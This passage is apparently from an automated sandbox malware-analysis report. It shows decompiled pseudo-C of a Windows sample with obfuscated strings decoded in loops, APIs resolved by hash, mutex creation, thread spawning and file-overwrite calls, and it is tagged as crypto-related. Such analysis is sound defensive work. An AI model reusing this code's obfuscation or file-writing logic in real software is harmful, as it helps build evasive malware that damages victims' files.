							_t660 = _t660 + 1;
						} while (_t660 < 0x60);
					}
					_push(_t600);
					_push( *_v36);
					_t537 =  &_v455;
					goto L45;
				} else {
					_t587 =  *0xf4c2ec; // 0xddcc10
					_t588 =  *((intOrPtr*)(_t587 + 0x40));
					if(_t588 == 0) {
						_t588 = E00F222A0(_t600, 0, 0, _t658, _t667, 0x1fbbb84f);
						_t637 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t637 + 0x40)) = _t588;
					}
					_t589 =  *_t588();
					_v144 = 0;
					_v143 = 0x14;
					_v142 = 0x67;
					_v141 = 0x7d;
					_v140 = 0x67;
					_v139 = 0x6b;
					_v138 = 0x67;
					_v137 = 0x31;
					_v136 = 0x67;
					_v135 = 1;
					_v134 = 0x67;
					_v133 = 0x58;
					_v132 = 0x67;
					_v131 = 0x4b;
					_v130 = 0x67;
					_v129 = 0x79;
					_v128 = 0x67;
					_v127 = 0x1a;
					_v126 = 0x67;
					_v125 = 1;
					_v124 = 0x67;
					_v123 = 0xc;
					_v122 = 0x67;
					_v121 = 0x58;
					_v120 = 0x67;
					_v119 = 0x21;
					_v118 = 0x67;
					_v117 = 0xc;
					_v116 = 0x67;
					_v115 = 0x52;
					_v114 = 0x67;
					_v113 = 0x58;
					_v112 = 0x67;
					_v111 = 0x4f;
					_v110 = 0x67;
					_v109 = 0x2f;
					_v108 = 0x67;
					_v107 = 0x79;
					_v106 = 0x67;
					_v105 = 0x58;
					_v104 = 0x67;
					_v103 = 0x4f;
					_v102 = 0x67;
					_v101 = 0x1a;
					_v100 = 0x67;
					_v99 = 0x64;
					_v98 = 0x67;
					_v97 = 0xc;
					_v96 = 0x67;
					_v95 = 0x58;
					_v94 = 0x67;
					_v93 = 0x2a;
					_v92 = 0x67;
					_v91 = 0x3d;
					_v90 = 0x67;
					_v89 = 0xa;
					_v88 = 0x67;
					_v87 = 0x58;
					_v86 = 0x67;
					_v85 = 0x22;
					_v84 = 0x67;
					_v83 = 0xc;
					_v82 = 0x67;
					_v81 = 1;
					_v80 = 0x67;
					_v79 = 0x73;
					_v78 = 0x67;
					_v77 = 0x7d;
					_v76 = 0x67;
					_v75 = 0x3d;
					_v74 = 0x67;
					_v73 = 1;
					_v72 = 0x67;
					_v71 = 0x1b;
					_v70 = 0x67;
					_v69 = 0x79;
					_v68 = 0x67;
					_v67 = 0x79;
					_v36 = _t589;
					_v66 = 0x67;
					_v65 = 0x2f;
					_v64 = 0x67;
					_v63 = 0x79;
					_v62 = 0x67;
					_v61 = 0x58;
					_v60 = 0x67;
					_v59 = 0x7e;
					_v58 = 0x67;
					_v57 = 0x58;
					_v56 = 0x67;
					_v55 = 0x2a;
					_v54 = 0x67;
					_v53 = 0x64;
					_v52 = 0x67;
					_v51 = 0x44;
					_v50 = 0x67;
					_v49 = 0x67;
					_v48 = 0x67;
					if(_v144 == 0) {
						_t664 = 0;
						_t118 = _t664 + 0x7f; // 0x7f
						_t667 = _t118;
						do {
							asm("cdq");
							asm("cdq");
							 *(_t670 + _t664 - 0x8b) = ((0x67 - ( *(_t670 + _t664 - 0x8b) & 0x000000ff) + 0x338 << 2) % _t667 + 0x7f) % _t667;
							_t664 = _t664 + 1;
						} while (_t664 < 0x60);
					}
					_push(_v36);
					_t537 =  &_v143;
					_push( *_t600);
					L45:
					E00F2FDD0(_t600, _t658, _t667);
					return E00F37A82(_v12 ^ _t670, _t537);
				}
				L46:
			}







































































































































































































































































































































































































































































    0x00f2c8f0
    0x00f2c8f9
    0x00f2c900
    0x00f2c907
    0x00f2c909
    0x00f2c910
    0x00f2c913
    0x00f2c914
    0x00f2c914
    0x00f2c917
    0x00f2c91a
    0x00f2c91f
    0x00f2c921
    0x00f2c921
    0x00f2c923
    0x00f2c926
    0x00f2c92a
    0x00f2c92a
    0x00f2c92f
    0x00f2c934
    0x00f2c937
    0x00f2c93a
    0x00f2c947
    0x00f2c952
    0x00f2c957
    0x00f2c95d
    0x00f2c95d
    0x00f2c960
    0x00f2c971
    0x00f2c975
    0x00f2cba0
    0x00f2cba2
    0x00f2cba8
    0x00f2cbad
    0x00f2cbb5
    0x00f2cbb8
    0x00f2cbc0
    0x00f2cbc0
    0x00f2cbca
    0x00f2cbd5
    0x00f2cbda
    0x00f2cbe0
    0x00f2cbe0
    0x00f2cbf6
    0x00f2cbfa
    0x00000000
    0x00000000
    0x00f2cc00
    0x00f2cc05
    0x00000000
    0x00f2cc0b
    0x00f2cc0b
    0x00f2cc0d
    0x00f2cc0f
    0x00f2cc17
    0x00000000
    0x00f2cc19
    0x00f2cc1c
    0x00f2cc1e
    0x00f2cc21
    0x00f2cc26
    0x00f2cc26
    0x00f2cc29
    0x00f2cc30
    0x00f2cc30
    0x00f2cc3a
    0x00f2cc45
    0x00f2cc4a
    0x00f2cc50
    0x00f2cc50
    0x00f2cc66
    0x00f2cc6a
    0x00000000
    0x00000000
    0x00f2cc70
    0x00f2cc75
    0x00000000
    0x00f2cc7b
    0x00f2cc7b
    0x00f2cc7d
    0x00f2cc7f
    0x00f2cc84
    0x00000000
    0x00f2cc86
    0x00f2cc86
    0x00f2cc8b
    0x00f2cc91
    0x00f2cc96
    0x00f2cca1
    0x00f2cca6
    0x00f2ccac
    0x00f2ccac
    0x00f2ccb0
    0x00f2ccb2
    0x00f2ccb7
    0x00f2ccbf
    0x00f2ccca
    0x00f2cccf
    0x00f2ccd5
    0x00f2ccd5
    0x00f2ccd8
    0x00f2cce9
    0x00f2cceb
    0x00f2ccef
    0x00f2ccf5
    0x00f2ccfb
    0x00f2cd02
    0x00f2cd09
    0x00f2cd10
    0x00f2cd17
    0x00f2cd1e
    0x00f2cd25
    0x00f2cd2c
    0x00f2cd33
    0x00f2cd3a
    0x00f2cd41
    0x00f2cd48
    0x00f2cd4f
    0x00f2cd56
    0x00f2cd5d
    0x00f2cd64
    0x00f2cd6b
    0x00f2cd72
    0x00f2cd79
    0x00f2cd80
    0x00f2cd87
    0x00f2cd8e
    0x00f2cd95
    0x00f2cd9c
    0x00f2cda3
    0x00f2cdaa
    0x00f2cdb1
    0x00f2cdb8
    0x00f2cdbf
    0x00f2cdc6
    0x00f2cdcd
    0x00f2cdd4
    0x00f2cddb
    0x00f2cde2
    0x00f2cde9
    0x00f2cdf0
    0x00f2cdf7
    0x00f2cdfe
    0x00f2ce05
    0x00f2ce0c
    0x00f2ce13
    0x00f2ce1a
    0x00f2ce21
    0x00f2ce28
    0x00f2ce2f
    0x00f2ce36
    0x00f2ce3d
    0x00f2ce44
    0x00f2ce4b
    0x00f2ce52
    0x00f2ce59
    0x00f2ce60
    0x00f2ce67
    0x00f2ce6e
    0x00f2ce75
    0x00f2ce7c
    0x00f2ce83
    0x00f2ce8a
    0x00f2ce91
    0x00f2ce98
    0x00f2ce9f
    0x00f2cea6
    0x00f2cead
    0x00f2ceb4
    0x00f2cebb
    0x00f2cec2
    0x00f2cec9
    0x00f2ced0
    0x00f2ced7
    0x00f2cede
    0x00f2cee5
    0x00f2ceec
    0x00f2cef3
    0x00f2cefa
    0x00f2cf01
    0x00f2cf08
    0x00f2cf0f
    0x00f2cf16
    0x00f2cf1d
    0x00f2cf24
    0x00f2cf2b
    0x00f2cf32
    0x00f2cf39
    0x00f2cf40
    0x00f2cf47
    0x00f2cf4e
    0x00f2cf55
    0x00f2cf5c
    0x00f2cf63
    0x00f2cf6a
    0x00f2cf71
    0x00f2cf78
    0x00f2cf7f
    0x00f2cf86
    0x00f2cf8d
    0x00f2cf94
    0x00f2cf9b
    0x00f2cfa8
    0x00f2cfaa
    0x00f2cfac
    0x00f2cfac
    0x00f2cfb0
    0x00f2cfc3
    0x00f2cfc6
    0x00f2cfc9
    0x00f2cfca
    0x00f2cfcc
    0x00f2cfd3
    0x00f2cfd4
    0x00f2cfb0
    0x00f2cfd9
    0x00f2cfde
    0x00f2cfe8
    0x00f2cfed
    0x00f2d002
    0x00f2d002
    0x00f2cc84
    0x00000000
    0x00f2cc75
    0x00f2d005
    0x00f2d00a
    0x00f2d00f
    0x00f2d01a
    0x00f2d01f
    0x00f2d025
    0x00f2d025
    0x00f2d028
    0x00f2d02a
    0x00f2d031
    0x00f2d033
    0x00f2d03a
    0x00f2d041
    0x00f2d048
    0x00f2d04f
    0x00f2d056
    0x00f2d05d
    0x00f2d064
    0x00f2d06b
    0x00f2d072
    0x00f2d079
    0x00f2d080
    0x00f2d087
    0x00f2d08e
    0x00f2d095
    0x00f2d09c
    0x00f2d0a3
    0x00f2d0aa
    0x00f2d0b1
    0x00f2d0b8
    0x00f2d0bf
    0x00f2d0c6
    0x00f2d0cd
    0x00f2d0d4
    0x00f2d0db
    0x00f2d0e2
    0x00f2d0e9
    0x00f2d0f0
    0x00f2d0f7
    0x00f2d0fe
    0x00f2d105
    0x00f2d10c
    0x00f2d113
    0x00f2d11a
    0x00f2d121
    0x00f2d128
    0x00f2d12f
    0x00f2d136
    0x00f2d13d
    0x00f2d144
    0x00f2d14b
    0x00f2d152
    0x00f2d159
    0x00f2d160
    0x00f2d167
    0x00f2d16e
    0x00f2d175
    0x00f2d17c
    0x00f2d183
    0x00f2d18a
    0x00f2d191
    0x00f2d198
    0x00f2d19f
    0x00f2d1a6
    0x00f2d1ad
    0x00f2d1b4
    0x00f2d1bb
    0x00f2d1c2
    0x00f2d1c9
    0x00f2d1d0
    0x00f2d1d7
    0x00f2d1de
    0x00f2d1e5
    0x00f2d1ec
    0x00f2d1f3
    0x00f2d1fa
    0x00f2d201
    0x00f2d208
    0x00f2d20f
    0x00f2d216
    0x00f2d21d
    0x00f2d224
    0x00f2d22b
    0x00f2d232
    0x00f2d239
    0x00f2d240
    0x00f2d247
    0x00f2d24e
    0x00f2d255
    0x00f2d25c
    0x00f2d263
    0x00f2d26a
    0x00f2d271
    0x00f2d278
    0x00f2d27f
    0x00f2d286
    0x00f2d28d
    0x00f2d294
    0x00f2d29b
    0x00f2d2a2
    0x00f2d2a9
    0x00f2d2b0
    0x00f2d2b7
    0x00f2d2be
    0x00f2d2c5
    0x00f2d2cc
    0x00f2d2e0
    0x00f2d2e2
    0x00f2d2e4
    0x00f2d2e4
    0x00f2d2e7
    0x00f2d2f0
    0x00f2d304
    0x00f2d30a
    0x00f2d30d
    0x00f2d314
    0x00f2d315
    0x00f2d2f0
    0x00f2d31d
    0x00f2d31e
    0x00f2d320
    0x00000000
    0x00f2d320
    0x00f2cc17
    0x00000000
    0x00f2cc05
    0x00f2d32b
    0x00f2d330
    0x00f2d335
    0x00f2d340
    0x00f2d345
    0x00f2d34b
    0x00f2d34b
    0x00f2d34e
    0x00f2d350
    0x00f2d357
    0x00f2d359
    0x00f2d360
    0x00f2d367
    0x00f2d36e
    0x00f2d375
    0x00f2d37c
    0x00f2d383
    0x00f2d38a
    0x00f2d391
    0x00f2d398
    0x00f2d39f
    0x00f2d3a6
    0x00f2d3ad
    0x00f2d3b4
    0x00f2d3bb
    0x00f2d3c2
    0x00f2d3c9
    0x00f2d3d0
    0x00f2d3d7
    0x00f2d3de
    0x00f2d3e5
    0x00f2d3ec
    0x00f2d3f3
    0x00f2d3fa
    0x00f2d401
    0x00f2d408
    0x00f2d40f
    0x00f2d416
    0x00f2d41d
    0x00f2d424
    0x00f2d42b
    0x00f2d432
    0x00f2d439
    0x00f2d440
    0x00f2d447
    0x00f2d44e
    0x00f2d455
    0x00f2d45c
    0x00f2d463
    0x00f2d46a
    0x00f2d471
    0x00f2d478
    0x00f2d47f
    0x00f2d486
    0x00f2d48d
    0x00f2d494
    0x00f2d49b
    0x00f2d4a2
    0x00f2d4a9
    0x00f2d4b0
    0x00f2d4b7
    0x00f2d4be
    0x00f2d4c5
    0x00f2d4cc
    0x00f2d4d3
    0x00f2d4da
    0x00f2d4e1
    0x00f2d4e8
    0x00f2d4ef
    0x00f2d4f6
    0x00f2d4fd
    0x00f2d504
    0x00f2d50b
    0x00f2d512
    0x00f2d519
    0x00f2d520
    0x00f2d527
    0x00f2d52e
    0x00f2d535
    0x00f2d53c
    0x00f2d543
    0x00f2d54a
    0x00f2d551
    0x00f2d558
    0x00f2d55f
    0x00f2d566
    0x00f2d56d
    0x00f2d574
    0x00f2d57b
    0x00f2d582
    0x00f2d589
    0x00f2d590
    0x00f2d597
    0x00f2d59e
    0x00f2d5a5
    0x00f2d5ac
    0x00f2d5b3
    0x00f2d5ba
    0x00f2d5c1
    0x00f2d5c8
    0x00f2d5cf
    0x00f2d5d6
    0x00f2d5dd
    0x00f2d5e4
    0x00f2d5eb
    0x00f2d5f2
    0x00f2d606
    0x00f2d608
    0x00f2d60a
    0x00f2d60a
    0x00f2d610
    0x00f2d624
    0x00f2d62a
    0x00f2d62d
    0x00f2d634
    0x00f2d635
    0x00f2d610
    0x00f2d63d
    0x00f2d63e
    0x00f2d640
    0x00000000
    0x00f2c97b
    0x00f2c97b
    0x00f2c980
    0x00f2c985
    0x00f2c990
    0x00f2c995
    0x00f2c99b
    0x00f2c99b
    0x00f2c99e
    0x00f2c9a0
    0x00f2c9a7
    0x00f2c9ae
    0x00f2c9b5
    0x00f2c9bc
    0x00f2c9c3
    0x00f2c9ca
    0x00f2c9d1
    0x00f2c9d8
    0x00f2c9df
    0x00f2c9e6
    0x00f2c9ed
    0x00f2c9f4
    0x00f2c9f8
    0x00f2c9fc
    0x00f2ca00
    0x00f2ca04
    0x00f2ca08
    0x00f2ca0c
    0x00f2ca10
    0x00f2ca14
    0x00f2ca18
    0x00f2ca1c
    0x00f2ca20
    0x00f2ca24
    0x00f2ca28
    0x00f2ca2c
    0x00f2ca30
    0x00f2ca34
    0x00f2ca38
    0x00f2ca3c
    0x00f2ca40
    0x00f2ca44
    0x00f2ca48
    0x00f2ca4c
    0x00f2ca50
    0x00f2ca54
    0x00f2ca58
    0x00f2ca5c
    0x00f2ca60
    0x00f2ca64
    0x00f2ca68
    0x00f2ca6c
    0x00f2ca70
    0x00f2ca74
    0x00f2ca78
    0x00f2ca7c
    0x00f2ca80
    0x00f2ca84
    0x00f2ca88
    0x00f2ca8c
    0x00f2ca90
    0x00f2ca94
    0x00f2ca98
    0x00f2ca9c
    0x00f2caa0
    0x00f2caa4
    0x00f2caa8
    0x00f2caac
    0x00f2cab0
    0x00f2cab4
    0x00f2cab8
    0x00f2cabc
    0x00f2cac0
    0x00f2cac4
    0x00f2cac8
    0x00f2cacc
    0x00f2cad0
    0x00f2cad4
    0x00f2cad8
    0x00f2cadc
    0x00f2cae0
    0x00f2cae4
    0x00f2cae8
    0x00f2caec
    0x00f2caf0
    0x00f2caf4
    0x00f2caf8
    0x00f2cafc
    0x00f2caff
    0x00f2cb03
    0x00f2cb07
    0x00f2cb0b
    0x00f2cb0f
    0x00f2cb13
    0x00f2cb17
    0x00f2cb1b
    0x00f2cb1f
    0x00f2cb23
    0x00f2cb27
    0x00f2cb2b
    0x00f2cb2f
    0x00f2cb33
    0x00f2cb37
    0x00f2cb3b
    0x00f2cb3f
    0x00f2cb43
    0x00f2cb47
    0x00f2cb58
    0x00f2cb5a
    0x00f2cb5c
    0x00f2cb5c
    0x00f2cb60
    0x00f2cb77
    0x00f2cb7d
    0x00f2cb80
    0x00f2cb87
    0x00f2cb88
    0x00f2cb60
    0x00f2cb8d
    0x00f2cb90
    0x00f2cb96
    0x00f2d646
    0x00f2d647
    0x00f2d661
    0x00f2d661
    0x00000000

    APIs
    • SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000002,?,FFFFFFFF,?), ref: 00F2C971
    • WriteFile.KERNELBASE(?,00F2EF39,0000020C,?,00000000), ref: 00F2CBF6
    • WriteFile.KERNELBASE(?,00000000,0000000A,00F2EF39,00000000), ref: 00F2CC66
    • SetEndOfFile.KERNELBASE(?), ref: 00F2CCB0
    • SetFilePointerEx.KERNELBASE(?,?,?,00000000,00000000), ref: 00F2CCE9
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: File$PointerWrite
    • String ID: !$"$"$#$#$#$#$#$%$)$)$)$*$*$-$-$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$/$/$0$0$1$1$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$5$7$7$9$9$9$9$=$=$?$?$A$A$A$A$D$D$F$G$H$K$K$M$M$O$O$Q$Q$Q$R$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$U$W$W$W$X$X$X$X$X$X$X$X$X$X$X$X$X$Z$[$[$[$[$[$[$[$[$\$\$\$\$`$`$b$b$b$b$c$c$d$d$f$f$f$f$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$h$j$k$k$k$m$o$p$s$u$u$v$v$v$w$w$w$w$w$y$y$y$y$y$y$y$z${${${${${${${${$}$}$}$~$~
    • API String ID: 539440098-2307537352
    • Opcode ID: fe700003930a9f5c8e8a57bb91c2155d9431acdb701b7aaf5794e03908968129
    • Instruction ID: c351113bd25c182fbe5b8ae022ffaeac21482970131faf0dea7d54c34ad99c8e
    • Opcode Fuzzy Hash: fe700003930a9f5c8e8a57bb91c2155d9431acdb701b7aaf5794e03908968129
    • Instruction Fuzzy Hash: 7C92AC20D0C6D8CDEB22C668DC587DDBFB15B26308F0440D9C59C6B282C7FA4B99DB66
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F30960 Relevance: 432.9, APIs: 3, Strings: 244, Instructions: 675synchronizationCOMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 75 f30960-f30a50 call f22880 call f21aa0 call f31760 82 f30a52-f30a65 call f222a0 75->82 83 f30a68-f30a7b CreateMutexA 75->83 82->83 85 f30a93-f30a9a 83->85 86 f30a7d-f30a90 call f222a0 83->86 91 f30aa0-f30aaa 85->91 92 f30ce8-f30d01 call f37a82 85->92 86->85 94 f30ac2-f30ad5 call f30580 91->94 95 f30aac-f30abf call f222a0 91->95 102 f30ad7-f30aea call f222a0 94->102 103 f30aed-f30aff GetNativeSystemInfo 94->103 95->94 102->103 105 f30b01-f30b0b 103->105 106 f30b0d-f30b17 103->106 108 f30b2c-f30b35 call f37430 105->108 109 f30b21-f30b26 106->109 110 f30b19-f30b1c 106->110 119 f30d04-f30d0d call f37520 108->119 120 f30b3b-f30ce5 call f31700 call f2fdd0 108->120 109->108 112 f30e7a-f30e7d 109->112 111 f30e88-f30e96 call f37430 110->111 121 f310eb-f310f7 call f37520 111->121 122 f30e9c-f310e8 call f31640 call f2fdd0 call f37a82 111->122 112->111 114 f30e7f-f30e82 112->114 114->111 117 f3133c-f3135d call f24200 call f34630 114->117 145 f313c2-f313ca 117->145 146 f3135f-f31362 117->146 133 f30d13-f30e72 call f316a0 call f2fdd0 call f37a82 119->133 134 f30e75 119->134 120->92 121->117 137 f310fd-f31339 call f31600 call f2fdd0 call f37a82 121->137 134->112 148 f31420-f31423 145->148 149 f313cc 145->149 146->145 152 f31364-f3136c 146->152 154 f31425-f31428 148->154 155 f3142a-f31438 call f23480 148->155 156 f313d0-f313e7 149->156 152->148 159 f31372-f31389 152->159 154->155 161 f3147a-f3147d 154->161 184 f31475 155->184 185 f3143a-f31444 155->185 163 f313e9-f313eb 156->163 164 f313ed-f313ef 156->164 166 f3138b-f3138d 159->166 167 f3138f-f31391 159->167 170 f31488-f31490 161->170 171 f3147f-f31482 161->171 174 f31401-f31419 call f237c0 call f35950 163->174 175 f313f2-f313fb 164->175 168 f313a3-f313be call f237c0 call f35950 166->168 169 f31394-f3139d 167->169 168->159 222 f313c0 168->222 169->169 178 f3139f-f313a1 169->178 181 f31492-f314a8 call f32600 170->181 182 f314aa-f314b3 170->182 171->170 179 f31516-f31519 171->179 174->156 221 f3141b 174->221 175->175 186 f313fd-f313ff 175->186 178->168 190 f31520-f31522 179->190 191 f3151b-f3151e 179->191 181->182 192 f314b5-f314d0 182->192 193 f3150c call f338b0 182->193 184->161 194 f31446-f31459 call f222a0 185->194 195 f3145c-f31473 CreateThread 185->195 186->174 201 f31524-f3152e 190->201 202 f3154c-f31553 call f37590 190->202 191->190 200 f31558-f3155b 191->200 203 f314d2-f314d4 192->203 204 f314d6-f314db 192->204 209 f31511 193->209 194->195 195->184 206 f31566-f31570 200->206 207 f3155d-f31560 200->207 211 f31530-f31544 call f222a0 201->211 212 f31547-f31549 201->212 202->200 213 f314ef-f3150a call f237c0 call f35950 203->213 214 f314e0-f314e9 204->214 219 f31572-f315a9 call f237c0 call f37620 206->219 220 f315ab-f315be 206->220 207->206 218 f315e2-f315f8 call f37a82 207->218 209->179 211->212 212->202 213->192 213->193 214->214 224 f314eb-f314ed 214->224 219->220 228 f315c0-f315d4 call f222a0 220->228 229 f315da-f315df 220->229 221->148 222->221 224->213 228->229 229->218
    C-Code - Quality: 71%
    			E00F30960(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				signed int _v36;
				char* _v48;
				char _v52;
				char* _v56;
				void* _v60;
				signed int _v64;
				void _v72;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				signed int _v144;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				signed int _v216;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				signed int _v280;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				signed int _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				signed int _t334;
				intOrPtr _t342;
				void* _t343;
				intOrPtr _t344;
				intOrPtr _t348;
				intOrPtr _t351;
				intOrPtr _t354;
				signed int _t355;
				signed int _t356;
				intOrPtr _t359;
				signed int _t360;
				intOrPtr _t363;
				signed int _t364;
				intOrPtr _t371;
				signed int _t372;
				signed int _t375;
				intOrPtr _t379;
				signed int _t381;
				intOrPtr _t382;
				intOrPtr _t383;
				signed int _t385;
				signed int _t389;
				void* _t393;
				void* _t398;
				signed int _t403;
				void* _t405;
				intOrPtr _t413;
				intOrPtr _t415;
				intOrPtr _t417;
				intOrPtr _t418;
				intOrPtr _t419;
				signed int _t421;
				intOrPtr* _t430;
				intOrPtr* _t433;
				intOrPtr* _t435;
				intOrPtr _t444;
				signed int _t445;
				intOrPtr _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t457;
				signed int _t458;
				signed int _t459;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				signed int _t488;
				CHAR* _t494;
				void* _t495;
				signed int _t497;
				signed int _t498;
				signed int _t499;
				void* _t500;
				intOrPtr _t501;
				signed int _t506;
				signed int _t508;

				_t486 = __edi;
				_t508 = (_t506 & 0xfffffff8) - 0x15c;
				_t334 =  *0xf4a004; // 0x355216d4
				_v8 = _t334 ^ _t508;
				_push(__ebx);
				_push(__esi);
				_push(__edi); // executed
				E00F22880(__ecx, __edi, __eflags); // executed
				E00F21AA0(__ebx, __edi); // executed
				 *0xf4c33c = 0xf4c338;
				_v56 =  &_v60;
				 *0xf4c32c = 0xf4c328;
				_v48 =  &_v52;
				_t421 = 0;
				 *0xf4c338 = 0;
				_v60 = 0;
				_v52 = 0;
				 *0xf4c328 = 0;
				 *0xf4c330 = 0;
				 *0xf4c334 = 0xf4c330;
				_v352 = 0;
				_v351 = 0xa;
				_v350 = 7;
				_v349 = 0x22;
				_v348 = 4;
				_v347 = 0x74;
				_v346 = 0x28;
				_v345 = 0x7d;
				_v344 = 4;
				_v343 = 0x74;
				_v342 = 0x7a;
				_v341 = 0x72;
				_v340 = 0x72;
				_v339 = 0x63;
				_v338 = 0x60;
				_v337 = 0x72;
				_v336 = 0x46;
				_t494 = E00F31760( &_v352);
				_t342 =  *0xf4c2ec; // 0xddcc10
				_t429 =  *((intOrPtr*)(_t342 + 0x64));
				if( *((intOrPtr*)(_t342 + 0x64)) == 0) {
					_t418 = E00F222A0(0, _t429, 0, _t486, _t494, 0xf701962c);
					_t419 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t419 + 0x64)) = _t418;
				}
				_t343 = CreateMutexA(0, 1, _t494); // executed
				_t495 = _t343;
				_t344 =  *0xf4c2ec; // 0xddcc10
				_t430 =  *((intOrPtr*)(_t344 + 0x2c));
				if(_t430 == 0) {
					_t430 = E00F222A0(_t421, _t430, 0, _t486, _t495, 0x6a095e21);
					_t417 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t417 + 0x2c)) = _t430;
				}
				_push(0);
				_push(_t495);
				if( *_t430() != 0) {
					L16:
					return E00F37A82(_v16 ^ _t508);
				} else {
					_t348 =  *0xf4c2ec; // 0xddcc10
					_t433 =  *((intOrPtr*)(_t348 + 0x60));
					if(_t433 == 0) {
						_t433 = E00F222A0(_t421, _t433, 0, _t486, _t495, 0xd52132a3);
						_t415 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t415 + 0x60)) = _t433;
					}
					E00F30580(_t421,  *_t433(), _t486, _t495);
					_t351 =  *0xf4c2ec; // 0xddcc10
					_t435 =  *((intOrPtr*)(_t351 + 0x4c));
					if(_t435 == 0) {
						_t435 = E00F222A0(_t421, _t435, 0, _t486, _t495, 0xdf1af05e);
						_t413 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t413 + 0x4c)) = _t435;
					}
					 *_t435( &_v52);
					_t354 =  *0xf4af98; // 0xa
					if(_t354 != 0xb) {
